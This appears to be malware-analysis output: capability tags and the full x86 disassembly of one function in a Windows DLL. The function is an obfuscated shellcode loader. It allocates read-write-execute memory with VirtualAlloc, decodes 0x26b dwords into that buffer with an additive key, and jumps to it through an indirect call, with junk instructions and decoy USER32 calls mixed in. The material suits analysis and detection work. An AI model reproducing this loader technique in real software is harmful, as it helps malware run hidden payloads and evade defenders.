Function at 0x100020c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff70
mov eax, dword [0x10054d64]
mov edx, dword [ebp - 0x30]
mov eax, 0x3b
mov esi, dword [0x10055094]
test edi, edi
jl 0x10002105
mov dword [ebp - 0x14], eax
mov ecx, dword [0x10054f1c]
mov eax, dword [ebp - 0x60]
mov ax, 0x10
mov esi, dword [0x10054ef8]
mov dword [ebp - 0xc], eax
mov dword [0x10054ebc], edi
mov dword [0x10054cfc], esi
mov dword [0x10054f2c], edx
mov edx, dword [0x1005505c]
mov ecx, dword [ebp - 0x34]
add esi, eax
mov eax, dword [ebp - 0x34]
cmp dword [0x10054f44], eax
ja 0x10002149
mov eax, dword [ebp - 0xc]
mov edx, dword [0x10055008]
mov eax, dword [ebp - 0x64]
add eax, edx
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x20], eax
mov dword [0x10054f70], eax
mov dword [0x10054ef0], edi
mov ecx, dword [0x10054de8]
mov dword [0x10055050], eax
call fcn.100011c0
lea edx, [ebp - 0x18]
push edx
call sub.USER32.dll_IsCharUpperA
mov eax, dword [0x10054dfc]
mov eax, dword [ebp - 0x64]
sub eax, edx
mov eax, dword [ebp - 0x5c]
mov edi, dword [0x10054db0]
mov eax, 0x9b
cmp dword [0x10054e38], 0x78
jbe 0x100021af
mov eax, dword [0x1005503c]
mov eax, dword [0x10054d5c]
mov eax, dword [ebp - 0x84]
mov eax, 0x4a
mov ecx, dword [ebp - 0x2c]
mov edx, dword [0x10054ce4]
mov dword [ebp - 0xc], edx
mov dword [0x10054d44], eax
mov dword [ebp - 0x6c], edi
mov edx, dword [ebp - 0x78]
mov dword [0x10054d1c], esi
sbb dword [0x10055070], eax
call fcn.100025c0
mov edx, dword [0x10054e48]
mov eax, dword [ebp - 0x44]
mov eax, 0xbb
mov eax, dword [0x10054d08]
sub edi, esi
test eax, eax
jg 0x100021f3
mov edi, dword [ebp - 0x60]
mov edx, dword [0x10054e58]
mov esi, dword [ebp - 0xc]
mov eax, 0x22
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x78], eax
sbb dword [0x10055000], esi
mov dword [ebp - 0x7c], esi
mov ecx, dword [0x1005509c]
mov edi, dword [sym.imp.USER32.dll_GetMenu]
inc edi
mov ecx, dword [edi]
cmp ecx, dword [0x10054cab]
jne 0x100021ff
dec edi
mov edx, dword [edi]
mov dword [0x10055090], edx
mov edi, dword [0x10054d3c]
sub esi, dword [ebp - 0x3c]
sub eax, eax
mov cx, 2
cmp dword [0x10054ce4], 0x67
jae 0x10002257
mov dword [0x10054f50], eax
mov dword [ebp - 0x5c], eax
mov eax, dword [0x10054e8c]
mov eax, dword [ebp - 0x68]
add eax, edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [0x10054ce4]
mov dword [ebp - 0xc], ecx
mov dword [0x10054ce4], ecx
mov dword [0x10054ce4], esi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x5c], edx
mov esi, dword [0x10055048]
push esi
call sub.USER32.dll_IsCharUpperA
mov ecx, dword [0x10054fe4]
add eax, dword [ebp - 0x20]
sub edx, eax
mov eax, dword [0x10054cf8]
and eax, eax
cmp eax, 1
jne 0x1000229b
mov eax, dword [0x10054d58]
mov eax, dword [ebp - 0x6c]
add ecx, eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x50], esi
mov dword [0x10054e20], esi
mov dword [ebp - 0x60], eax
mov dword [0x10055074], eax
mov dword [0x10054f38], ecx
call sub.USER32.dll_GetFocus
mov edi, dword [0x10054fd8]
mov eax, dword [ebp - 0x70]
mov ecx, 0xec
mov edx, dword [ebp - 0x14]
sub esi, edi
cmp dword [0x10054d28], 0x20
jbe 0x100022ea
mov dword [0x10054db4], eax
mov eax, dword [0x10054ce4]
mov eax, dword [ebp - 0x30]
add esi, eax
mov eax, dword [ebp - 0x1c]
mov edi, dword [0x10054d24]
mov dword [ebp - 0x5c], esi
mov dword [0x10055018], eax
mov dword [0x10054f44], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
push 8
mov dword [ebp - 0x88], eax
push 0x4000
push 0x200
push 0
call sub.kernel32.dll_VirtualAlloc
mov eax, dword [0x10054f68]
mov edx, dword [ebp - 0x60]
sub ecx, edi
mov eax, dword [ebp - 0x1c]
mov edi, dword [0x10054dec]
sub ecx, eax
cmp dword [0x10055000], 0x80
ja 0x10002358
mov dword [0x10054f88], eax
mov eax, dword [0x10054fb8]
mov eax, dword [0x10054d70]
mov edx, dword [ebp - 0x3c]
mov eax, 0x53
mov esi, dword [ebp - 0x8c]
add edx, eax
mov dword [ebp - 0x50], eax
mov dword [0x10054ce4], ecx
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x78], edi
mov dword [0x10054d20], esi
push dword [0x10054d08]
call sub.USER32.dll_IsCharUpperA
mov ecx, dword [0x10054f70]
mov eax, dword [ebp - 0x5c]
mov eax, 0x80
adc eax, dword [0x10054de8]
cmp eax, 0
jae 0x100023ab
mov edi, dword [0x10054eb8]
mov edx, dword [0x10054ff4]
mov esi, dword [ebp - 0x5c]
mov cx, 0xff
mov eax, dword [ebp - 0x34]
add eax, edi
mov dword [ebp - 0x80], esi
mov dword [0x10055038], eax
mov ecx, dword [0x10054f00]
push 0x40
push 0x1000
push 0x29000
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov dword [0x100550a4], eax
mov eax, dword [0x10054dcc]
sub esi, dword [ebp - 0x84]
mov dx, 2
cmp dword [0x10054ffc], 4
jbe 0x10002408
mov ecx, dword [ebp - 0x78]
sbb eax, dword [0x10054da0]
mov eax, dword [0x10054e0c]
mov edi, dword [ebp - 0x24]
mov eax, 0x40
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [0x10054d18], eax
mov dword [ebp - 0x6c], eax
or eax, dword [ebp - 0x14]
mov dword [0x10054e18], ecx
mov edx, dword [0x10055008]
mov dword [0x10054e00], eax
push 0x10
call sub.USER32.dll_IsCharUpperA
mov esi, dword [0x10054d58]
mov ecx, dword [ebp - 0x20]
sub ecx, ecx
adc eax, dword [ebp - 0x60]
cmp dword [ebp + 0x80], edi
jg 0x10002457
mov dword [0x10054ce4], ecx
mov eax, dword [0x10054f38]
mov eax, dword [ebp - 0x28]
mov cx, 0x10
mov esi, dword [ebp - 0x70]
mov edi, dword [0x100550d8]
mov dword [ebp - 0x7c], ecx
mov dword [0x10054e0c], edx
adc dword [ebp - 0x20], eax
mov dword [ebp - 0x54], eax
mov ecx, dword [0x100550a4]
mov esi, 0x26b
mov edi, dword [0x10055090]
add edi, 0x10f8ccef
mov edx, dword [edi]
add edx, 0xd3636a13
mov dword [ecx], edx
add edi, 4
sub ecx, 0xfffffffc
dec esi
cmp esi, 0
jne 0x10002471
sub edx, dword [0x10054d70]
mov ecx, dword [ebp - 0x44]
sub edi, edi
mov dx, 0x10
cmp eax, dword [ebp + 0x6a]
jae 0x100024b5
mov eax, dword [0x10054ff4]
mov ecx, dword [ebp - 0x7c]
sub ecx, esi
mov eax, dword [ebp - 0x38]
mov eax, dword [0x10054e88]
mov dword [ebp - 0x2c], edi
mov dword [0x10054ce8], eax
mov dword [0x10054f60], eax
push 8
push 0x4000
push 0x500
mov dword [0x10054e9c], eax
push 0
call sub.kernel32.dll_VirtualAlloc
adc edi, dword [0x100550a0]
mov esi, dword [ebp - 0x30]
sub esi, eax
mov eax, 0xd8
test eax, eax
je 0x10002512
mov eax, dword [ebp - 0x28]
or eax, dword [ebp - 0x60]
mov edx, dword [0x10054ce4]
mov eax, dword [ebp - 0x14]
add eax, ecx
mov edx, dword [0x10054da4]
mov si, 0x10
mov dword [ebp - 0x24], eax
mov dword [0x10054d20], eax
mov dword [0x10054e00], edi
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x2c]
push dword [0x10054d14]
lea eax, [ebp - 0x70]
push eax
call sub.USER32.dll_GetDlgItem
mov eax, dword [0x10054e6c]
mov edx, dword [ebp - 0x88]
sub esi, eax
cmp dword [0x10054ce4], eax
jne 0x10002563
mov esi, dword [0x10054cec]
mov eax, dword [ebp - 0x90]
mov eax, 0xfa
mov edi, dword [0x10054f80]
mov ax, 0x97
dec dword [ebp - 0x68]
add dword [0x10054db4], eax
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x24]
mov dword [0x10054ce4], eax
mov dword [ebp - 0x6c], ecx
mov edi, dword [0x100550a4]
call edi
mov esp, ebp
pop ebp
ret